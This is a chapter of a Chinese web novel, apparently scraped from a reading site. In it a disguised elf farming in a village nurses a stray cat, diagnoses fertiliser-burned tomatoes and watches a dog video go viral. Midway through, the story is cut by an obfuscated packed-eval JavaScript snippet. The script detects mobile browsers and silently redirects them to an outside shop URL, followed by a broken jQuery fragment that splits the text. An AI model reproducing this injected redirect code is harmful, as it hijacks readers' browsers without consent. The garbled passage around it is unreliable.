第二天早上,橘猫还在。
陆清槐推开房门的时候,大黄已经蹲在柴火堆边上了,尾巴有一下没一下地扫着地,像个站岗的保安。
"起了?"他走过去。
大黄回头看了他一眼,呜了一声。
柴火堆里,那团橘色的毛球缩成一个小点,还在睡。呼吸比昨晚平稳多了,小肚皮一起一伏,饿狠了之后终于吃了顿饱饭,连觉都睡得沉了些。
他蹲下来,伸出手。
手指还没碰到猫,橘猫的耳朵先动了。然后它睁开了右眼——左眼结着痂,糊着脏东西,睁不开,看着像是被什么东西抓过。
"嗯,"他说,"还活着。"
橘猫没动。
他也没急着摸。手就悬在半空,离猫脑袋大概一拳的距离。在精灵王庭,这叫"等"——不是所有生灵都愿意被碰,你得等它自己过来。
十秒。
二十秒。
橘猫嗅了嗅空气。然后——非常慢地——把脑袋往前挪了一寸,鼻子碰到了他的指尖。
凉的。
它的鼻子是凉的,但呼吸是暖的。
"行了,"他收回手,"吃饭。"
他站起来往厨房走。大黄跟上。橘猫在柴火堆里犹豫了三秒,也跟了上来——一瘸一拐地,保持着两米的安全距离。
陈伯坐在门口喝粥,看见他身后多了只猫,愣了一下。
"哪儿来的?"
"昨天来的。"
"你要养?"
"它自己不走。"
陈伯看了看猫,又看了看他,端着碗嘬了一口粥:"行。反正大黄一只也是养,两只也是喂。这猫现在瘦,等养熟了——橘猫都能吃,一个月给你吃穷。"
陆清槐低头看了橘猫一眼。
橘猫也看着他。
那双黄眼睛里写着四个字:关你什么事。
行吧。猫主子的气场是天生的,跟体型无关。
吃完早饭,他去菜地。
陈伯给的这块地在院子东边,不大,也就两分地。三个月前他刚接手的时候,土是板结的,硬得像砖。村里人都说这块地种不出东西——"老陈头那块荒地,给他也是糟践种子。"
现在?
现在番茄已经挂了第二批果,黄瓜爬到了架顶,辣椒红得像小灯笼。连地边那排他顺手撒的小葱,都长得比隔壁王婶家精心伺候的还精神。
他蹲下来,手指搭在番茄叶子上。
绒毛蹭过指腹,叶脉里的水分在走——不快不慢,像一个吃饱了的人在散步。根系稳稳地扎在土里,弧度舒展,毛细根在呼吸。
状态不错。
他挪到黄瓜架旁边,摸了一根黄瓜的刺。硬的,扎手。说明水分足。那种缺水的黄瓜刺是软的,一掰就弯。
这棵也不错。
辣椒——他捏了捏一片叶子。肥,厚,颜色深。营养够了,不用追肥。
他在菜地里一棵一棵地摸过去,像个将军在检阅部队。大黄趴在田埂上打哈欠。橘猫蹲在远处的石墩上,以一种"我只是恰好路过"的表情看着他。
"清槐——!"
王婶的声音从篱笆外面传来。大嗓门,中气足,隔着三条田埂都能听见。
他抬起头。
王婶五十来岁,圆脸,风风火火地走过来,脑后的马尾一甩一甩的。身后还跟着两个妇女——李婶和张婶,村里种菜的"铁三角"。
"清槐啊,"王婶扒着篱笆,"你帮婶看看,我那番茄是咋回事?叶儿全卷了,果也不长,我打了两回药都不管用!"
张婶在后面小声跟李婶嘀咕:"他一个年轻小伙子,能懂啥种菜……"
声音不大不小,刚好能让他听见。
他站起来,拍了拍手上的土:"我去看看。"
王婶的菜地在村南头,离他家走路五分钟。
还没到地头,他就感觉到了——不对。
不是一棵两棵的问题,是整片地都在"喊"。那种感觉怎么说呢,就像一间屋子里所有人同时在咳嗽,你不需要仔细听就知道不对劲。
他没急着蹲下来。先是站在地头,背着手,像模像样地扫视了一圈——这是他观察村里老农学来的架势。在精灵王庭,灵植师扫一眼就能感知整片灵田的状况,但在这里,太快了反而惹眼。
走了七八步,他才在一株卷叶最严重的番茄前蹲下来,先摸了摸叶片,又装模作样地拨弄了两下枝条,最后才把手指插进土里。
湿的。昨天浇过水。
指腹触到泥土的一瞬间,那股"喊"变得清晰了——不是笼统的"不舒服",是根。具体到每一条根须的状态:末端的新根在枯死,中段的老根还在挣扎,像一双手死死攥着什么不肯松开。土壤表层三寸以下,化肥残留结成了一层硬硬的壳,把根往下的路全堵死了,根为了躲肥拼命往上长,反而暴露在日晒下面。
这些东西,眼睛看不见,拔出来也未必看得出来——根须末端的枯死太细微了。但他的手指知道。
他摸了摸卷起来的番茄叶子。叶片发蔫,边缘焦枯,但叶脉还是绿的——不是缺水,不是病。
"婶,"他抬头,"你最近施肥了?"
"施了呀!"王婶说,"我家那口子赶集买的复合肥,卖肥的说多撒多收,我一亩地撒了两袋!"
两袋。
他看了看那块地的面积。大概一亩。两袋复合肥——按正常用量,半袋都多了。卖肥的为了多卖货真是什么都敢说。
"施多了。"他说。
"啥?"
"肥太浓,根在被烧。表层土底下都结成硬壳了,根扎不下去,全往上面跑,太阳一晒更受不了。你昨天还浇了水吧?肥化在水里,浓度更高,根更受不了。"
王婶愣了:"你咋知道我昨天浇的水?"
他当然不能说"根告诉我的"。
"叶子上还有水渍,土也是湿的,这天儿蒸发快,昨天浇的才会这个湿度。"——这倒是真话,只是不是全部的真话。
张婶在旁边撇了撇嘴:"那你说咋治?"
"多浇清水,把土里多余的肥往下冲。一次浇透,别心疼水——但也不能让它泡着,得让水渗得下去。连着浇两三天,把肥劲冲淡了就好了。"
他站起来,走到地边,看了看旁边那排已经发黄的小苗:"这些已经不行了,根全枯了,拔了吧。剩下的,叶面喷点清水,别打药了——药也烧。"
"就……就这样?"王婶半信半疑。
"就这样。"他想了想,又补了一句,"三天以后你看,叶子不继续卷了就对了。"
李婶在旁边插嘴:"清槐,你咋知道这么多?你不是城里来的吗?"
"书上看的。"
"书上能学成这样?"张婶还是不太信。
"书什么都有。"他语气平平。
他没等她们继续追问,已经转身往回走了。大黄跟着他,尾巴摇得欢。橘猫不知道什么时候也跟来了,一瘸一拐地走在最后面,保持两米距离。
身后传来王婶的声音:"这孩子……还真有两下子。"
"我以前还觉得他脑子不好,整天摸叶子……"张婶的声音。
"你懂什么,"李婶说,"那叫——那叫把脉!给菜把脉!"
他差点笑出来。
给菜把脉。
行吧。这个说法他接受了。
回去的路上,经过林野家。
林野正蹲在门口摆弄一个三脚架,手机架在上面,镜头对着院子里的几只鸡。
"拍什么呢?"他走过去。
"拍我家鸡。"林野头也不抬,"试试镜头。"
"拍鸡干嘛?"
"自媒体啊。"林野终于抬起头,"我打算拍点东西。农村生活嘛,种菜养鸡狗——城里人就爱看这个。等以后粉丝多了,还能帮村里卖点山货。"
他看了看镜头里的鸡。一只芦花鸡正昂首阔步地走过院子,步伐自信得像在走T台。
"这鸡……有什么好看的?"
"你不懂。"林野摆手,"现在城里人的压力大,就喜欢看这种慢节奏的东西。鸡走路、狗打盹、猫晒太阳——播放量比你想象的高。"
他看了林野一眼。林野嘴上说得轻松,但手机支架上有几道磨痕,三脚架的腿也磕掉了一块漆——用了不是一天两天了。
林野拨弄了两下手机,叹了口气:"就是这鸡……也太呆头鹅了,走得跟巡逻似的,一点意思都没有。"
他顺着林野的目光看过去。不远处,大黄正在追一只蝴蝶。
他想了想:"你拍它试试。"
"大黄?"林野眼睛亮了。
事实证明,大黄确实比鸡上镜。
林野把镜头对准大黄的时候,大黄正在追一只蝴蝶。追了两步没追上,一头扎进了草丛里,屁股朝天,后腿蹬了两下,然后叼着一根狗尾巴草抬起头——一脸"我本来就是要叼这个"的表情。
林野拍了三十秒,当场剪了个十五秒的短视频,配了段搞笑音乐,发了。
标题:《当一只狗觉得自己是个猎手》
"等着吧。"林野伸了个懒腰,"这条少说几千播放。"
"几千?"
"新号嘛,几千就算爆了。"林野看了他一眼,"你要不要也入镜?就你这张脸——我跟你说,你要是愿意拍,涨粉比我快十倍。"
"不要。"
"为什么?"
"麻烦。"
林野翻了个白眼:"你这人真的是……一点追求都没有。"
"我种菜很有上进心。"
"种菜能涨粉吗?"
"菜种得好,不需要粉。"
林野被噎了一下,指着他:"你这话——你这话太凡尔赛了知道吗?"
"凡尔赛是什么?"
"……算了。"
下午,他在院子里给橘猫处理伤口。
后腿上有一道旧伤,已经结了痂但没长好,周围的毛粘在一起。他用温水浸湿了一块布,轻轻敷在伤口上。
橘猫一开始不配合。
它哈了他一下,爪子拍过来——没真挠,就是警告。他没躲。布碰到伤口的时候,猫浑身抖了一下,但没跑。
"疼就叫。"他说,"不用忍着。"
橘猫当然没叫。猫这种生物,疼死了也要撑着面子。它只是把耳朵压平了,发出一种低沉的、像发动机怠速的呼噜声——猫在用呼噜给自己止痛,他知道。精灵王庭也有猫科灵兽,习性差不多。
旧痂软化之后,他用干净的布一点点擦掉周围的脏东西。后腿上的伤口不深,但发炎了。左眼也看了一眼——眉骨上方一道旧抓痕,已经结痂,把上眼皮粘住了大半。等痂自然脱落就能睁开,不是什么大问题。
他走到院子角落,那里种了几盆陈伯让他顺手栽的药草——其中一盆是马齿苋,消炎解毒的。他掐了几片叶子,在石臼里捣成泥,一半敷在猫腿上,另一半留着给猫左眼周围也薄薄抹了一点,又撕了一条旧布条在猫腿上轻轻缠了两圈。全程是实打实的草药工夫,没有用一丝灵气——他现在的法力,留给灵脉都嫌不够。
"不能舔。"他看着橘猫。
橘猫看着他。
然后它低头,精准地开始舔布条。
"……"
他伸手按住猫脑袋。橘猫挣扎了两下,发现挣不动——他的手看着瘦,力气大得离谱——终于放弃了,趴在地上,耳朵往后一压,一副"行吧你赢了"的表情。
大黄凑过来闻了闻橘猫的伤腿,被橘猫一爪子拍在鼻子上。大黄打了个喷嚏,非但不生气,还摇着尾巴凑得更近了。
"你俩……"他摇了摇头。
一个贱兮兮,一个凶巴巴。绝配。
处理完猫,他坐到槐树下。
手掌贴上树干。
今天灵脉引导比昨天顺利了一点——不是那种"一下就成功"的顺利,是他找到了节奏。轻一点,慢一点,像在跟灵脉说话。第一次的失败教会他一件事:灵脉不是工具,不能硬来。它像一条冬眠的蛇,你得让它自己醒。
一丝灵气顺着根系爬上来,经过树干,经过他的掌心,进入经脉。
比昨天多了一点点。
可能是错觉。也可能不是。
他正要收回手,忽然感觉到脚边多了团毛茸茸的东西。
橘猫。
它不知什么时候走到了他脚边,蹲坐着,抬头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916284|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看他。
不是看他的脸——是看他贴在树干上的那只手。
他低头看猫。
猫也在看他。
黄眼睛里映着槐树的影子,还有他的——一只深棕色的、伪装的眼睛。
"怎么,你也喜欢这棵树?"他轻声问。
橘猫当然没回答。它只是打了个哈欠,露出两颗小小的尖牙,然后往前凑了半步,用脑袋——非常轻地——顶了一下他搭在膝头的手背。
一下。就一下。然后它退回原位,蹲好,目不斜视,仿佛刚才什么都没发生。
他的手背上还留着那一点温热。猫用头顶人,是把气味留上去——这个动作的意思,他在精灵王庭就知道,是"你是我的了"。
行吧。
大黄在旁边嫉妒地呜了一声。
傍晚,林野跑来了。
"火了!"他举着手机冲进院子,"清槐!火了!"
"什么火了?"
"大黄那条视频!"林野把手机怼到他面前,"你看——十二万播放!三千多赞!评论全在问这狗是谁家的!"
他看了一眼屏幕。画面上,大黄叼着狗尾巴草抬头的那一帧被截成了封面,配文:"当一只狗觉得自己是个猎手[doge]"
"不是早上才发的?"
"我也没想到啊!"林野激动得来回走,"好像被一个养宠大V转到评论区了,流量一下就炸了。我跟你说,我得趁热打铁,多拍点。你家这院子、这菜地、这狗、这猫——全是素材!等粉丝起来,咱帮村里人把山货卖出去!"
"猫不许拍。"
"啊?为什么?"
"它怕生。"
林野看了一眼柴火堆方向。橘猫正蹲在墙头上,以一种"你在教我做事"的眼神俯瞰众生。
"它看起来不像怕生的样子……"
"我说了算。"
"行吧行吧。"林野举起双手,"那我拍大黄和菜地,总成了吧?对了,我还想拍你种菜——你那个摸叶子的动作特别有感觉,真的,城里人就吃这套。"
他想了想:"拍菜可以,别拍我脸。"
"为什么?"
"不想。"
林野盯着他看了两秒,突然笑了:"行。神秘路线。我跟你说,越神秘越火。"
他没接话。神秘不神秘的他不在乎,他只是觉得——万一哪天法力波动,伪装出了问题,镜头越少越好。
"对了,"林野又看了一眼墙头上的橘猫,"这猫叫什么?"
"没名字。"
"没名字?"林野来了劲,"那不行,得起一个。你看它那样——蹲墙头上,一脸'这片江山都是我的',跟个局座似的。"
"局座?"
"就——领导,大官。"林野冲墙头喊了一声,"橘座!"
橘猫耳朵动了一下,低头看了他一眼,打了个哈欠。
"嘿,它答应了!"林野拍大腿,"就叫橘座!"
陆清槐看了一眼墙头。橘座。
行吧。猫都没意见,他有什么意见。
"你随便。"
夜里。
他躺在床上,大黄在脚边打呼。橘座没来屋里——它选择了柴火堆上方的墙头,月亮正好照在那个位置。
他闭上眼,通过老槐树的根系感知灵脉。
今天引导了两次,比昨天多一次。经脉里的灵气比早上多了一丝——非常微弱的增长,但确确实实在增长。
一丝灵气,大概够他维持三天伪装不松。按照这个速度,也许三个月后他就能多恢复半成法力。半年后一成。虽然离全盛时期差得远,但至少不是坐吃山空了。
他正准备收功,忽然听见墙头那边有动静。
很轻的一声"喵"。
不是饿了或者疼了的叫法,是猫科动物特有的那种短促的、带点鼻音的声音。大黄耳朵动了动,没抬头。
他睁开眼,转过头。
月光从窗户照进来,刚好落在墙头那团橘色的影子上。
橘座站在那里。
它在看月亮。
然后,它慢慢地转过头,看向窗户——看向他。
两只眼睛都睁开了。
左眼上的痂不知什么时候掉了。那只眼睛在月光下泛着淡淡的琥珀色,比右眼深一些,像一汪被月亮照亮的蜜。猫的眼睛在夜里本来就会变颜色——光线暗的时候瞳孔放大,虹膜的颜色看起来就和白天不一样。这一点他知道。
但这颜色还是让他愣了一下。
太像了。
不是像精灵原形的瞳孔——形状不一样,这是猫的圆瞳,不是竖瞳。只是颜色,那种被月光浸透的琥珀色,让他想起了一些很久很久以前的事。
一人一猫隔着窗户对视了三秒。
然后橘座——非常淡定地——舔了一下爪子,转过头继续看月亮,仿佛刚才什么都没发生。
陆清槐躺在床上,盯着天花板。
他深吸一口气。
一只眼睛颜色浅一点的猫而已。橘猫里这个颜色不稀奇。他在精灵王庭见过的猫科灵兽多了去了——当然,那些是灵兽,会说话,会变身,跟眼前这只一瘸一拐、舔伤口都能舔到布条上的蠢猫完全不是一回事。
别什么都往那方面想。
"……睡觉。"
他翻了个身,把被子拉到下巴。
窗外,月光如水。橘座蹲在墙头上,浅琥珀色的眼睛映着月亮,打了个哈欠。
大黄在屋里打了个呼噜。
他闭上眼。手掌贴在枕边的床单上,一丝若有若无的灵气从指尖渗进去,顺着老槐树的根系往回探——灵脉在那儿,比昨天粗了一丝。
像一根快要断的线,接上了一个小小的结。
他嘴角弯了一下。
山深处,那个心跳依旧缓慢、沉重。但今夜听起来,好像近了一点点。
也许是错觉。
无所谓。
墙头上的橘座忽然站了起来,耳朵转向村口的方向,瞳孔缩成一条竖线。
远处有车灯扫过院墙,一闪,灭了。
橘座盯着那个方向看了三秒,慢慢蹲回去,把尾巴盘到鼻子前面。
夜还长。